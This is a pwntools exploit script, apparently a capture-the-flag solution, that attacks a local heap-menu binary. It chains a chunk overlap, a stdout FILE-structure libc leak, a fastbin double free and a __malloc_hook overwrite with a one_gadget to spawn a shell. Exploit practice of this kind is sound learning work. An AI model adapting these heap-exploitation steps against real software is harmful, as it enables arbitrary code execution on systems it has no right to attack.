#!/usr/bin/python3
#-*-coding:utf8-*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(index, length, content, p):
    p.sendlineafter('>>>', '1')
    p.sendlineafter('idx:', str(index))
    p.sendlineafter('len:', str(length))
    p.sendafter('content:', content)

def Delete(index, p):
    p.sendlineafter('>>>', '2')
    p.sendlineafter('idx:', str(index))

def Exit():
    p.sendlineafter('>>>', '3')

def pwn():
    p = process('./pwn')
    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x60, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x10, 'A'*0x10, p)
    Delete(0, p)
    Delete(1, p)
    Add(1, 0x68, b'\x00'*0x60 + p64(0x100) + b'\x90', p)
    Delete(1, p)
    Delete(2, p)

    Add(0, 0x88, 'A'*0x10, p)
    try:
        Add(1, 0x70, '\xdd\x25', p)
        Delete(0, p)
        Add(0, 0x88, '\x00'*0x88 + '\x71', p)
        Add(2, 0x60, 'A'*0x10, p)
        Add(6, 0x60, b'\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00', p)

        libc_base = u64(p.recvuntil('\x7f')[-6:] + b'\x00\x00') - 0x3c5600
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))

        a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        one_gadget = libc_base + a[3]
        malloc_hook = libc.symbols['__malloc_hook']

        # double free
        Add(7, 0x60, 'A'*0x10, p)
        Add(7, 0x60, 'A'*0x10, p)
        Delete(1, p)
        Delete(7, p)
        Delete(2, p)

        Add(1, 0x60, p64(malloc_hook - 0x23), p)
        Add(2, 0x60, 'A'*0x10, p)
        Add(2, 0x60, 'A'*0x10, p)
        #gdb.attach(p, 'b * 0x555555554000+0xbd2\nc')
        Add(7, 0x60, b'\x00'*0x13 + p64(one_gadget), p)

        p.sendlineafter('>>>', '1')
        p.sendlineafter('idx:', str(10))
        p.sendlineafter('len:', str(0x10))

        p.interactive()
        p.close()
        return 1
    except:
        p.close()
        return 0

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break
